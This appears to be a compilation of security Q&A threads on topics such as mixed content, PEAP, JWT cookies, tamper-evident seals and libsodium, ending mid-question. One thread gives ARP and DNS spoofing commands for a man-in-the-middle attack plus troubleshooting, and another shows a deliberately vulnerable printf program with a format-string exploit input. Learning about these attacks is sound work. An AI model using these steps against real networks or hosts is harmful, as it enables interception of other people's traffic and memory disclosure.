Insecure(Broken) https only in chrome Shopping online today, I remembered to check if the website is https or not after I wrote my payment information in the checkout page. However, I find the https and when I tried to check who is the CA, is shows a blank rectangle area, and when I clicked on details, this is what I get.

When I hover over this 'x' on the right it says "Insecure(Broken)"

I tried the same thing, but from Safari, and nothing is wrong, I can view the certificate and it says connection is secure with no problem. I am not sure if this is browser flaw, or MITM ?

My main question is, How is this happening to be "https" when its broken ?

Would that be secure if I opened the VPN, with or without the web to be https ?

The information in chrome clearly indicate why it is broken: not because the certificate is wrong but because of mixed content. It also shows you which site the non-https content would have been loaded from (see "Non-Secure Origins") and offers you to see more details.

  I tried the same thing, but from Safari, and nothing is wrong,

Different browsers have sometimes different ideas of how dangerous specific types of mixed content are. For example some might accept if fonts are loaded insecurely while others require these to be loaded securely too. But the general trend is that everything has to be loaded securely.

  I can view the certificate and it says connection is secure with no problem.

It's not a problem with the certificate but with the mixed content.

  My main question is, How is this happening to be "https" when its broken ?

The protocol spoken to the main resource is still https.

  Would that be secure if I opened the VPN, with or without the web to be https ?

A VPN only protects the connection to the VPN endpoint. Since the VPN endpoint is not the target server this would not solve this problem.


Why would some web applications disable Numpad input? Some web applications (One popular example is Skrill) don't allow input from Numpad for number <input>.

I've seen some local websites here also follow the same procedure.
The thing is, all of them are related to e-commerce somehow, the things which raise my curiosity a lot.

What are the implications of such thing?

P.S. By Numpad I mean this part of PC/Laptop keyboards:

This answer is only speculative, but after I did some digging, this is the most probable solution for me.

The coders wanted to prohibit the input of numeric values in some fields of a web form. To do this they used keyCode values like here. Every key on the keyboard has a specific code, so its input can be identified with an ID. The numpad and the number keys - although giving the same input (numbers) - have different keyCodes.

The number keys have the keyCode values 0 - 9, the numpad values are 96 - 105.

To make it impossible to enter numeric values via keyboard, the input of all keys with the keycode values from 0 - 9 and 96 - 105 was forbidden, thus disabling the numpad.


OS fingerprinting via TCP I have searched online about this topic and the only information I got is that TCP SYN/ACK can be used to know the type of the target OS. If that is true, I don't understand how this occurs? Does TCP handshaking lead to OS fingerprinting?

OS detection goes a lot further, using all kind of data of the IP and TCP headers fields. If you're into reading, "Silence on the Wire" by Michal Zalewski addresses a lot on this topic.


Is there any way to set up secure email for Network Solutions domains? I'm trying to set up any mail client to have a secure connection to Network Solutions' email servers.

I've been talking with Network Solutions' email support people, who will repeatedly state that Network Solutions email is secure, even immediately after confessing that SSL is not supported, nor is STARTTLS, nor is secure authentication for their POP3 server. Every byte sent to and from their POP3 is unencrypted and sniffable. They repeatedly call that secure.

It seems like a classic case of doublespeak.

Not only that, their webmail's login screen has a checkbox for a secure connection, but when clicked, it immediately unchecks itself using Javascript. Their support managers insist that http:// represents a secure connection. They say that over and over.

This looks like a completely hopeless case, but I might ask: Has anyone here made any progress in getting anything better service for email out of Network Solutions?

Here's another idea to remedy this:

I understand that PHP can be used to send emails. If I were willing to write my own secure web email app in PHP, is there a way to set up a PHP script to act as a listener or callback to receive incoming emails? Maybe Network Solutions would never support such a concept anyway.

It sounds to me like you bought a domain for your website and want to have your email @yourdomain.com type of deal. You don't have to use "their mail services". You can use Google Apps or any number of third party providers. You will then just update your DNS settings at Network Solutions with instructions provided by the provider.

As for your PHP solution, that would be writing an email server from scratch. Unless you have your own server, you would not be able to have PHP listen on the expected mail ports, but if you do have root on your server, you can just set up your own mail server and update your DNS accordingly.

The main point here is unless you have some odd package, Network Solutions shouldn't restrict your from connecting a third party email service to your domain. If this answer doesn't fit your scenario, please clarify your needs.


MITM attack DNS spoofing problem I’ve tried to DNS spoof

dnsspoof -i eth0 -f spoofhosts.txt

(inside spoofhosts.txt there is my (the attacker) local ip and the domain which i want to poison)

and I just keep receiving this:

dnsspoof: listening on eth0 [udp dst port 53 and not src 10.0.0.11]
10.0.0.3.58451 > 10.0.0.138.53: 60823+ A? urlblablabla.com

When I try to enter to the URL in the hosts.txt from my other device that I attacked, the URL can’t be reached.

I have already done these steps:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t //ATTACKED-IP// //Router//
arpspoof -i eth0 -t  //Router// //ATTACKED-IP//
service apache2 start

Now with your comment I can understand a little bit more.

You are doing arpspoof, ok now the victim thinks you are the router... but to make a dns spoofing you need to be the dns of the victim. Is the router (now you) the dns for the victim? You didn't specify that and could be for example that the victim have an internet dns settings like Google DNS 8.8.8.8 or any ISP DNS. So maybe is not working because the victim is not using router as DNS.

With a MITM attack you can sniff because everything is passing through you... ok the DNS requests are passing through you... you can see them... but you are doing nothing to spoof them because maybe that requests are not thrown to you and they are only passing through you.

So, check the DCHP of your network. What DNS es giving to the clients? If is not the same as gateway that's the reason is not working for you.

If it is giving for DNS same ip as gateway, then, it is supossed you are doing right... but if is not working be pretty sure you have all your iptables right.


Do TLS and SSL connections have set encryption algorithms applied Do TLS/SSL connections have a set encryption algorithm that they use?

Is it set automatically? Or do you choose the level of encryption (i.e. SHA-1)?

The TLS client and server negotiate which ciphers to use.  During the ClientHello, the client sends a list of supported algorithms to the server.  The server then picks a cipher which is supported by both and continues the negotiation to use this cipher.


Securing Database Credential in a Field deployed Raspberry Pi A raspberry pi is deployed in a public area.  I am not so concerned about the physical theft of the raspberry pi: I am concerned that the device is stolen, the SD card will be read and the AWS database credentials (username / password in python script) will be 'in the wild'.

Are there any effective security practices that can mitigate this risk?

UPDATE: Every reasonable attempt will be made to physically secure the device (locked in a box), however, the chances of theft is not zero.

First things first ... physical access is root access.  If someone can physically touch your device, it is no longer your device.

With that out of the way, what can you do to limit the threat?

Lock down access to the AWS to the specific IP (possibly even port security if possible) ... this way even if someone steals the creds out of the python script they can't do anything without using the same connection it was originally on.
Lock down the DB User to the min Read/Write access required by the script so that if someone gains access they cant dump the entire database and/or drop tables. (see also Database Trigger)
Write a remote API wrapper around the Database access (see also redis pub/sub) so that the RPi can only do commands allowed by the API, and remotely log all API request good & bad.
Remotely deploy code to memory only.  If you setup a bootstrap to pull code to a ram drive (see also loop0), run it, and delete the local copy ... it should only be accessible if the thief can steal it while maintaining power.

Again, you can't fully protect your AWS but you can harden it and buy yourself time to invalidate the User or API key associated with the RPi.  Just make sure you regularly check logs for nefarious activity.


Hotspot with same SSID, how does authorization work? My university has a wireless network I log into with my username and password. It's using PEAP. My phone and laptop automatically connect to this SSID when they detect the network.

If someone sets up a hotspot using the same SSID and my phone or laptop see this SSID, they are going to connect to this network, assuming it's the university's network. The login obviously fails (as I do not expect the cheeky guy who set up this oddly named hotspot to be aware of my username and password).

How do my username and password remain safe? E.g. this guy cannot see which username and/or password I'm using to try to login to the network, though the university network is able to verify and allow me on the network..

Can someone explain this to me?

Thanks!

Your phone or laptop will not necessarily automatically connect to that alternate AP, because even though it has a known SSID, it also has a MAC address which does not necessarily match the one at your home. Whether a given system will be ready to disregard the MAC address change depends on that system (from an explicit experiment at home, I can say that Windows 7 will not automatically connect to a known SSID if the access point MAC address does not match). Of course, an evil attacker may have followed you home, stopping just outside of your door, and recorded the MAC address of your own WiFi AP, so that he could mimic it with his own fake AP.

Assuming that your phone/laptop does indeed connect, PEAP includes SSL/TLS, and this should protect you (subject to some caveats; see below). Basically, when using PEAP, the client (your device) opens a SSL connection with the access point, and will proceed to sending your username and password only after duly validated the access point's certificate. This mimics the situation with HTTPS Web site: the client first makes sure that it talks to the right server, and sends sensitive data only through the SSL encryption umbrella.

There are some subtle points with validation of the certificate. Revocation status will probably not be checked, because your device is trying to obtain its Internet connection, and thus won't be able to download a CRL yet. See the draft protocol for details. Also, it is a bit unclear how the client goes from "this is a valid certificate" to "this is a valid certificate for the access point I intend to talk to". I expect most WiFi/PEAP clients to record the certificate sent by the AP upon the first connection, and then to automatically reconnect (with the sending of username and password) only if the AP still sends the exact same certificate, or a certificate advertising the same server name.


How dangerous is the security hole CVE-2014-019? There is a security hole CVE-2014-019 in the Linux kernel since 2.6.31-rc3 which

  allows local users to cause a denial of service (memory corruption and system crash) or gain privileges

How serious would this be on my server where I allowed only some trusted friends full SSH access?

As far as I understand, an attacker would have to get access to just one account with low privileges somehow (even in a chroot jail for SSH environment?) and then he could gain root access with this exploit?

Let's break this down, first of all have a look at the CVSS score:

 (AV:L/AC:M/Au:N/C:C/I:C/A:C)

So:

Access Vector: Local
Access complexity: Medium
Authentication: None
Confidentiality: Complete
Integrity: Complete
Availability: Complete

The vulnerability can result in privilege escalation, meaning a user with few privileges, might gain access to the root account. However the current exploit, which is readily available only results in a Denial of Service. If someone  is able to port this exploit, (maybe it already has but is not public yet) . Then there is a risk that someone could have used it. On the other hand, you should never allow people onto your machine if you don't trust them.So if you say that you trust your friends, then this shouldn't be an issue,but this does NOT mean you shouldn't patch the vulnerability!


How does one evaluate tamper-resistant envelopes/packaging? In contrast to digital cryptographic algorithms and protocols where many qualified high-IQ individuals dig into the details and specifics, physical tamper resistance for low-tech packages is not pentested as much.

There are some folks out there who do it for money, though, but their results aren't easily available. There's one link to a Vulnerability Assessment Team at Argonne National Lab with intriguing results: http://www.ne.anl.gov/capabilities/vat/seals/index.html

I have looked for patents at U.S.Patent and Trademark Office and identified quite a few of them, the latest being U.S.Patent 7,230,687 B2, and the earliest dating back to 1916 (U.S.Patent 1,201,519 assigned to one Arvid Sorensen).

I wonder what criteria should one apply to various tamper-resistant offers in the market (numbering upward of 180, based on a shopping engine search), provided that there are no in-house skilled physical pentesters.

One criterion that I've already hinted at is presence or absence of a patent (of course it doesn't prove security - there are loads of patented snake oil recipes, for that matter, but at least it is somewhat analogous to open-source in the digital world).

Another solution would be to sample large outfits' secure tamper-resistant envelopes, hopefully piggy-backing on their evaluations and "going with the flow", but I'm not sure they haven't done the same.

Please note that this is not a shopping question. Answers should avoid naming providers and instead present objective criteria for evaluation.

Let's get something straight first. In the general sense, there's pretty much no such thing as tamper-resistant in the envelop/packaging world. What you're looking for is tamper-evident.

The criteria upon which you evaluate tamper-evident envelope is same used for evaluating any other security measurement. Forget everything about solution itself and rather think of why you're looking for a solution. It's easy to say that your problem is tampering, but it's not.

So the criteria hugely depends on your threat model.
 Other than that, there's basically one criterion; If the envelope is tampered with, we'd like to detect that with a high level of confidence.

In 1997, The Nuclear Regulatory Commission issued the RG 5.15 in which they outlined criteria upon which to judge the effectiveness of tamper-evident mediums used to store nuclear documents. I'll quote some of them

  The information taken and recorded at the time of seal application is inadequately protected, enabling a diverter to forge documentation
  to support or cover the diversion.
  The method of postmortem examination of the seal is not sufficient to detect a defective or compromised seal.
  The location and method of seal application makes the seals vulnerable
  to accidental damage, providing a history of such incidents that might
  be used to conceal a willful attack.

After that they list some certain acceptable types of tamper-deviant devices to store the highly sensitive data.

In the same year, researcher R.G. Johnston published a paper outlining some deficiencies in the RG 5.15 and the then-standard ASTM F1158-88 protocol. Johnston did a great job providing crystal clear instructions for the process, combining the pros of the previous standards and patching most of their cons.

  A detailed description of the successful attacks. For each attack the
  following information should be provided:

  Is the attack theoretical, partially demonstrated, fully demonstrated but not perfected, or practiced to perfection?
  What are the cost, time, and effort to devise and demonstrate the attack?
  What time is required on-site to do the attack?

  ..

  What is the level of defeat?
  Is inside information necessary for the attack, or just what is publicly available?

Despite Johnston's findings and recommendations, the ASTM F1158 still the de facto standard protocol for assessing security seals.


How Can Malware be Attached to an Image File? How can malware be attached in image files such as a JPEG image?

The most common attack method with attaching malware to an image file (or any file for that matter) is to hide an executable file with a different file extension.

For example in your case, a victim might think he is downloading the file wallpaper.jpg when in reality he is downloading the file wallpaper.exe that has been renamed with the JPEG file extension.

Other methods involve the use of Steganography, which involves hiding code inside the image itself, such as javascript of malware or exploits.


How can wireless router password encrypts data using WEP and WPA How does the password that we enter (to connect to a wireless network) encrypt the data on the wireless network?

Through my reading I am not sure if the password that we enter is the same as the passphrase. If that is right then how can the passphrase generate the four WEP keys?

I understand how the four keys work in WEP and how they encrypt the data. Also, I know how WPA's keys encrypt the data but the only thing I have to know is:

What is the benefit of the password that we enter to get access to the network, and how does this password help in encrypting the data?

I'm sorry you're going to have to clarify what/which passwords and keys you are talking about.  And what you mean by password to get access to the network?

WEP and WPA-PSK are not related in their use of passwords.
You mention the 4 WEP keys and that you understand them.  Each key is unrelated, only one is used to encrypt any given message.  The sender indicates which key with a two bit field in the on-air message.  This was a "feature" to allow 4 independent passwords for a single SSID.  It was not consistently implemented.

Typically you give the wireless configuration the key or password needed to authenticate.  802.11 has an authentication exchange that can test the key, and it was used by WEP.  But it was shown not to be effective and is not used by WPA protocols.
Instead they uses a process called the 4-way handshake to authenticate and establish the temporal encryption keys.

The Wikipedia pages for WEP and 802.11i give a complete discussion with diagrams.


How to enforce NTFS permission compliance? I have to enforce NTFS permissions based on business roles. Each role (group in ADS) can be granted the permission to read or write a file server directory. I do not care about share permissions. I care about permissions stored in the NTFS. I have to ensure that the NTFS permissions are compliant to the policy. An entry in the policy could be for example:

Users in the Support group have read access to the 'corporate-template'
folder and write access to the 'support' folder.
Users in the Controlling group have read access to all but the 'management'
folders and write access to the 'controlling' folder.

The compliance check should be done automatically. If the compliance check finds any violations of the policy the permissions must be corrected automatically. How can this be done?

As far as I can see Windows does not provide such a functionality. I found some products, which can report NTFS permissions. But I can not find a solution for an automatic reconciliation. What is the preferred way to do such a reconciliation in a Windows domain?

If access is always through shares, I would advise the use of share permissions. These should be set to allow read/write but not full (so that users cannot change filesystem permissions inside the share)  If users have console or TS access that might not be suitable though. But in most cases it is.

The problem with file/folder permissions is that they may or may not be carried over when files are moved from one folder tree to another. It's basically a permissions lottery in this respect, and one which depends on whether the files were moved on the server console or via shares. This situation leads to inadvertent security breaches.

Forget Microsoft's soapboxing about file permissions being superior, it's what works reliably that counts.

If you must use file permissions I would suggest creating a scheduled job using SetACL that resets the permissions to the default for that tree, say every hour.

SetACL: http://helgeklein.com/


Multiple logins on the same website If a hacker uses MITM in an open WiFi network, he can easily grab plaintext passwords so that he can login from his PC and change it. Is there any solution for this?

I wonder when we log in to websites, why are they allowing multiple logins for the same account at once? Isn't it a security flaw? Logging into the same account if a user in the account is still active, why are website designers not concerned about it?

They fixed it when they implemented transport layer security, it provides end-to-end encryption (and authentication) between the browser and the webserver.  So, even though a "hacker" could intercept your traffic, it will be encrypted and stealing your credentials is a lot harder.  If the "bank site" doesn't use transport layer security, then that's a very poor practice.

Some systems prevent multiple logins from the same account, but that could also result in a "Denial of Service":

Do you prevent new sessions from being created
Do you break off the original session.

Either way, you could kick out the legitimate user.  Plus, one could be legitimately logged in from several locations (home, work and mobile).


Is there a need to scan images with real-time scanners anymore? Historically, there were some exploits for certain types of image files, notably JPEG images.  Consequently, many real-time malware scanners (antivirus included) started scanning every JPEG image (as well as some other types of image files) every time they are read or written.

Although there is undoubtedly some outdated software in the world that can be exploited using malformed image files, are there any current exploits that take advantage of weaknesses in image file processing?  For answers, please assume the user is not using old or unpatched versions of software.

I'm interested in answers for all operating systems.

A real-time scanner can either:

look for known vulnerability exploitation (signature based), or
use heuristics to determine if the image is crafted to exploit unknown vulnerabilities

Number 2 seems like a stretch, so I'll skip over it.

Number 1 could be useful if you're running outdated software that wasn't patched for known vulnerabilities.

In reality, if you're not patching your software there's a limited amount of protection you can get from an antivirus/antimalware solution.

Once the vulnerable software is patched for the known vulnerability there's really no point in testing every single file for it. That's specially true if the trade-off is on usability.

  Security at the expense of usability comes at the expense of security.

At the end of the day it boils down to what kind of protection you expect from the antivirus/antimalware.

An antivirus as a workaround for unpatched software sounds like a bad idea, akin to putting a padlock for an absent door.


Multi-User-Server Token-Based Authentication I have heard of token-based authentication, but the problem is that most of it requires trusting the server. What I need is something else.

Alice, with my game, wants to connect to Bob's server, which is designed for my game. Alice can get a token from my official (trusted) server. She also needs to authenticate on Bob's server to prove she is really Alice. But if she sends the token to Bob directly, Bob can exploit her token.

So, what is the way for Alice to show to Bob's server that she is registered as Alice on my server without leaking exploitable data? The connection is unencrypted UDP (if you know how to properly encrypt UDP, than tell me), not https or even http.

Edit: from a comment talking about PKI and an answer mentioning Singning Certificates, I decided I'd use something like RSA and RSA certificates for authentication.

The connection is unencrypted UDP (if you
  know how to properly encrypt UDP, than tell
  me)

DTLS (Datagram Transport Layer Protocol). DTLS works very similarly to TLS, but is instead designed to be used in UDP and preserves UDP semantics (unordered, no automatic reordering/resend, low latency). DTLS is widely used to secure UDP, for example in WebRTC, Cisco AnyConnect VPN. The widely used SSL libraries OpenSSL implements DTLS.

  Alice, with my game, wants to connect to
  Bob's server, which is designed for my
  game. Alice can get a token from my
  official (trusted) server. She also needs
  to authenticate on Bob's server to prove
  she is really Alice. But if she sends the
  token to Bob directly, Bob can exploit her
  token.

Alice need to create a client certificate and have the client public key be signed by the trusted server (acting as a CA/certificate authority). Alice then presents this certificate during DTLS handshake to Bob to authenticate itself as Alice. Bob trusts this certificate because the Certificate is signed by the trusted server and Alice was able to prove that it owns the corresponding private key by successfully completing the handshake. Bob cannot use Alice's certificate to impersonate Alice because a Bob doesn't have Alice's private key.


Chaskey - LightWeight MAC algorithm I was wondering in the Chaskey, when the message m is split into fixed size blocks such as m1,m2,m3....ml, what would be the size of each message block?

Is it 128 bits each or it can be of any variable size?

m=m1||m2||m3||...||ml

Looking at the original paper, the block sizes can be anything but all blocks except for last have to be of same size.

  3.1 Mode of Operation
  Chaskey uses an n-bit key K to process a message m of arbitrary size into a tag τ of t ≤ n bits.

  For every key K, two subkeys K1, K2 are generated as shown in Algorithm 2.
  The message m is split into ℓ blocks m1, m2, . . . , mℓ of n bits each, except for the lastblock mℓ which may be incomplete.

But according to the author it is specially designed for 128 bit security so my guess is that it is better to use 128 bit keys.


How separated should a management VLAN be from the production VLAN? I was after a little bit of advice regarding Network Management.

Users will enter the network and hit a remote desktop server. On from this, they will pass through firewalls to the core switch. When they hit the core switch they are heading to a Network Management Server. This has dual NICs. One of these NICs is in the management vlan, the other is in the server/user vlan.

My question would be, when accessing this management server. Should it be directly to the management NIC on the management VLAN? Would it in turn be better to have the management VLAN completely locked down with a deny any on both in and out, allowing the management VLAN to get to all devices on the management VLAN, but nothing to enter or leave the VLAN? So in order to get to the management VLAN, you have to access the management server. Is this a particularly good practice to access it via the production network? In order to ensure the management VLAN remains locked down? Once at the NMS, access is to all management devices, so I am unsure as to the best practice. The NMS will be running software like solarwinds that needs access to the production network.

There are generally 2 reasons to have a management vlan:

To provide security and control for management interfaces
To provide a redundant way to access critical systems so if the core network has problems there is another way to access management interfaces in order to restore services

I would usually recommend that the management network be on a completely separate set of network hardware and connections - if you rely on your core network to connect to management interfaces and it goes down then you lose all access.

As for whether to allow access from the wider network or limit access to a specific set of gateways there's no right or wrong answer, it depends on your security goals and setup. If your support staff have fixed IP addresses or exist within specific IP subnets or ranges then you could allow access to the management network from those IPs. This is fine as long as you have strong authentication and authorization in place, and do not have a requirement to limit access on a ticketing basis. If your administrators are all over the place IP-wise or you have a requirement to limit access only when there's a change request  then you would need to limit access to a specific set of gateways. Many organizations do both: they allow access from permitted ranges and also have gateway hosts for out of band management and roaming users.


“Hacking The Art of Exploitation” - format string exploit memory truncation I am attempting the printf() format parameter exploit where providing the user controlled data directly as the sole argument of the printf("user input") allows for the user to provide format parameters such as %x in which case there are no additional arguments provided to the function for it to pop off the stack so it uses whatever data is currently there allowing you to read addresses and more.

Program

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }
    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

    exit(0);
}

My issue is that when I provide an address preceding the format parameters as the argument to my program, the least significant byte 00 (part of the address) is truncated and replaced with another byte (2e in this case) from the stack.

./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

The output:

The right way to print user-controlled input:
X`.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X`.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8

On my machine, even when I just test the parameter generating part via

echo  $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

I get a

-bash: warning: command substitution: ignored null byte in input

It seems that the same happens on your machine (unfortunately without the warning being displayed). As a consequence, the effect is as if you had passed

$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')

i.e., the fourth character of your intended address is taken from the first '.' (ASCII 0x2E) following. Maybe try to get along with  "\x58\x10\x60\x01" or  "\x58\x10\x5f\xff" instead.

See also https://unix.stackexchange.com/questions/160598/representing-quoting-nul-on-the-command-line


Does anyone know how to use TRIKE? TRIKE  is an open source threat modeling methodology and tool, as presented by the authors. After i tried several threat modeling tools and methodologies, I have the feeling that it is the only real "DATA FLOW" threat modeling as the Microsoft STRIDE is not considering the behavior data flow. Now my problem is i found no documentation on how to use trike! does anyone try it before and have some docs? or at least can give some hints on how to fill in the tool?

The most current documentation already posted (by the Trike team, anyway) is in the Help spreadsheet, which you can find here:

http://sourceforge.net/apps/trac/trike/browser/spreadsheet/trunk/docs/help/TrikeHelp.xlsx

I also have a very rough draft of the documentation for how to actually do the first half of the methodology using the spreadsheet.  I am running it by some of the people who use the tools already & expect to post it somewhere on http://www.octotrike.org/ sometime next week.  I will post/update here when I post there.

If you are in the San Francisco or Seattle area and are willing to take notes for more documentation, I am willing to show you how to do it.


Is it safe to use the official Facebook apps in a public Wifi? I know, that my login credentials are sent in clear text for every body to read, when I log into facebook without using https from my mobile phone's browser in an public / non encrypted wifi.

And I assume, that official app encrypts my login credentials and the content transfered between their servers and my device.

But I googled and found no information if this is true. I found only posts explaining how to use HTTPS for the browser based login, third party encryption apps and how to make your own app work with facebook's encryption.

[update]
Thanks for the comments so far. I understand that you need to use tools like wireshark to really ensure for yourself, that apps encrypt the data that they transfer.

But I am flabergast, that it is not widely known or documented if and how the facebook app uses https or similar means to protect its users in public wifis.

Short awnser: Yes and No

Explanation:

Facebook Claims they use TLS/SSL everywhere, but after a bit of poking around using Wireshark, i found out that logging in, visiting timeline etc. all go over HTTPS (no port 80 connections detected), when visiting certain elements though, like apps/games, photo's and such, i detected HTTP connections through port 80.

Also note that some optionsmay vary per OS, i think i heard there was an option with certain OS's to manually turn on/off the SSL/TLS function, but i cannot verify this nor find it on google.

Long story short, it seems that the login part is secured, but photo's and clearly 3rd party apps aren't, making it a partially encrypted service.


Is there any way of preventing (or punishing) abuse of anonymity networks? Anonymity services/networks like Tor, VPNs that don't log etc., seem like very double edged swords. Is there any way to prevent people with bad intentions (like breaking the law) from using them or identifying them?

After reading the wikipedia article of the Sybil attack

  notable Sybil attack (in conjunction with a traffic confirmation
  attack) was launched against the Tor anonymity network for several
  months in 2014; the perpetrators are unknown. Many in the network
  security community suspect the NSA/CIA for such attacks but the
  details are unknown and are most likely never to be revealed. It is
  notable however, that during this time period an investigation was
  ongoing to de-anonymize tor users to find the administrators of the
  Silk Road, which later came to light.

shows how services like Tor get abused every day. Are there any justifications in using them aside from illegal activity?

Officially, they are pushed forward to allow people in dictatorships to break laws restricting their freedom of information and/or expression.

Because, the problem with the law is, that you need some people to make it, and wherever people are involved, they try to get their beliefs into the law. As such, laws, even in so-called "democracies", are not always based on common sense, real-world requirements or scientific research (and then, scientists are people, too, putting all their beliefs into their research). Moreso in dictatorships, where freedom of expression ends whenever the ruler thinks that his power is endangered.

And you need guards to check that everyone abides by all the laws. Some say that the NSA is such a guard. These people have beliefs, too (like Edward Snowden). But then, who guards the guards? Who supervises that they don't break the law (like the CIA did, as the torture report revealed - yet, not one torturer will be sued or anything. Is this lawful?).

Then, there's another problem about laws. It's time. What is lawful now, may be unlawful next week. Furthermore, in many countries, things done now are seen as having been unlawful as of next week. Especially with freedom of expression, you may be put into a concentration camp by the next President Of The Reich about opinions you expressed five years ago. Some people who think that future rulers may oppose their views, will only express them in anonymity. That's what anonymity networks are thought for.

But: Like everything you create that allows someone to break an "unlawful law", whatever that is, it can be used to break a "lawful law", whatever that is.
And: If some ruler can identify or shut out people who break "lawful laws", the next ruler can also identify or shut out people who break "unlawful laws".


Authenticating user in same sub-domain using cookies We have few in production websites say site1.dom1.com , site2.dom1.com , site3.dom1.com which are just replicas working on different server.

Now we want to extend some application on another server say app.dom1.com (Note: I don't have access to sessions stored in site1, site2 and site2) which would require authentication (if user is logged in in any of the site1/site2/site3 ), he/she should be able to access app.dom1.com

Now we don't want app1 to interact with any of the other sites.

We have thought of generating signed cookies from site1 , site2 and site3 which we can decrypt at app using same secret_key (which is used for generating the signature) and check for a particular phrases and a valid timestamp.

Now, how far is this method secure. How often should I change my secret key , and is it a good way for authentication?
If it is vulnerable, how?

You could generate a session token that is purely client-side using JSON Web Tokens.

The secret can be shared between your subdomains that authenticate and your app. The secret is used to generate a HMAC over the claims in the token - note they do not need to be encrypted unless you want to hide the data from the user themselves - the HMAC prevents parameter tampering because the end-user does not know the secret to regenerate the HMAC.

Note that sharing cookies over different subdomains can be insecure unless you completely trust every site that is running in a subdomain. This is because the Same Origin Policy for cookies is lax and does not consider a different subdomain or protocol as a different origin. This same "flaw" is what enables you to share authentication, however this might not be right for you if you don't control all sites or have the same security applied to each site (a weakness in one can undermine the security of them all). Possible exploits include session fixation and session hijacking should any vulnerabilities exist in any of the sites on the main domain (even XSS or CSRF).

If this is a concern, use OpenID or OAuth instead of this method.

It is also good practice to set the Secure flag on authentication cookies, and use HSTS to protect the cookies from insecure transport mechanisms (i.e. plain HTTP).

Also be aware that JWTs have the following weaknesses:

They cannot be revoked server-side because they exist purely client-side.
All a logout function can do is delete the cookie, it cannot prevent an attacker that has captured a cookie from continuing to use it to hijack a session.
Any change of password will not logout existing sessions for that user, increasing exposure in the event of any password breach.


How to check if a program is mining crypto in the background I noticed a program I recently downloaded cause my CPU usage increase by 30 percent and 80% GPU usage increment in idle state. It is not a GPU intensive program at all. I am worried about it using my computer to mine crypto. Is there a way to check this or find more direct evidences?

This will depend on your skill and experience with understanding how applications work, along with how well the application is trying to hide its nefarious purposes.

At a very basic level, Cryptominers try to max out unused cycles, so you would expect to see your CPU/GPU pegging at max, so a first glance would suggest the app is not doing that.

However, it could be written to play nice, in which case you could check its behaviour and see if it changes when running a number of other applications or when idle - an intelligent coder may try to ramp up usage when you are away from the machine.

Or you could look at its storage space - what is the program doing with data?

Or better yet, what is it receiving or transmitting when it connects to the Internet, or what is it connecting to?

Or if you can, try reading the code to look for cryptomining code - the most popular ones may show up in a virus scan these days!


Must a Diffie-Hellman group value persist? I've been reading about the Logjam attack on Diffie-Hellman and about how to secure our TLC-based web servers based on the recent findings.

The guide suggests that we create a Unique Diffie-Hellman group. As I understand the protocol, this group must be the same for only one TLS connection. That is, from the perspective of the protocol, the group could be generated each time a new TLS connection is made, even for the same client. (Though the computation time and resources needed to create a new prime would make this impractical.)

I want to be sure of the implications of this.

There is no need to persist the generated group. If the server dies and the group die with it, there is no loss.
Different subdomains can have different groups, even when using a wildcard certificate.
Browsers will not warn users of changes to this group.

Your inferences are correct; in fact, they are more often expressed the other way round: while each instance (TLS handshake) uses its own group, it is possible to reuse the same group between instances, regardless of whether they are for the same server or a distinct server. All the Logjam business was about clients and servers using a weak group (because the modulus was too short); the reuse of that group by many servers merely extended the scope of the attack.

There is no relation whatsoever between the group and the certificate or domain; group parameters are sent by the server for each handshake, so that clients do not need to remember anything about that group -- and, in practice, clients do not try to remember anything about the group, so they won't do anything special if a given group is reused or not reused.

However, one must take into account that group generation is kinda expensive. It is not necessarily as long as what OpenSSL does, because OpenSSL insists on using a "safe prime", which is overkill here (and, arguably, not "safer" in any way than a non-safe prime, because the terminology is merely traditional). Yet, producing a new group is still a matter of a few seconds of CPU, so you do not want to do that for each incoming connection. What could be done is generating fresh DH parameters upon server start -- thus, the parameters would not have to be saved in any file.

Pragmatically, existing Web servers (say, Apache) can read parameters from a file, and the guide you link to advocates generating a DH group unique to your server. The main value in generating your own group is that it allows you to generate a strong group, i.e. with a large enough modulus. That the group is not shared by other servers is only of secondary importance.

Note that for elliptic curves, everybody works with the same group (i.e. the same curve), because deployed implementations are specialized for that specific curve(*) and cannot handle any other. If group reuse was really an issue, then elliptic curves would have to be deactivated ASAP. Fortunately, reuse is not a problem.

(*) Actually two curves, NIST's P-256 and P-384, which are part of NSA Suite B; for some reason, this suite is increasingly taken by browser vendors as some kind of Gospel, to be followed to the letter, otherwise the gods will strike you with lightning.


How to store nonce and key when working with libsodium secretbox? Why am I asking?

I am very new to cryptography (so please be patient with me...) and I want to avoid making unnecessary mistakes. I did a lot of research, but - other than with most other programming related questions - I had a hard time finding enough information to make me confident, that I do now understand how to do things right.

What is the context?

I am working on a webshop using PHP (> 7.2) and MySQL. I need to store some personal information. However, this will not contain critical data (like payment details) - only names, adresses and contact information. Nevertheless, I want to encrypt this data - not least to gain some exprerience. This data will be entered and read by the php application, without input from an admin.

I am hosting this site on World4You, an Austrian provider. I am not sure of the proper word for this (English isn't my native language), but I think you'd call this shared hosting. However, I've read of shared hosting, where other users have access to my files - this is not the case here.

In your answers please consider these circumstances as invariant. I am well aware, that there is quite a bit of room for security-related improvement when it comes to hosting. And I am, of course, happy about every suggestion in regard to this. But please also help me find the best solution given these circumstances.

Why secretbox?

According to my research, there are stronger encryption alternatives to secretbox. However, this added security can easily be undermined through poor implementation - escpecially if you are an amateur like me. Secretbox is still pretty secure, but much easier to use and therefore the best choice in my case. Correct?

Also, libsodium now comes as a part of PHP (in versions 7.2 and later).

My questions

Thanks to the libsodium e-book I now know how to generate a key and a nonce and how to encrypt and decrypt data using these. However, I am not sure about how to store the key and the nonce.

Where do I store the key?

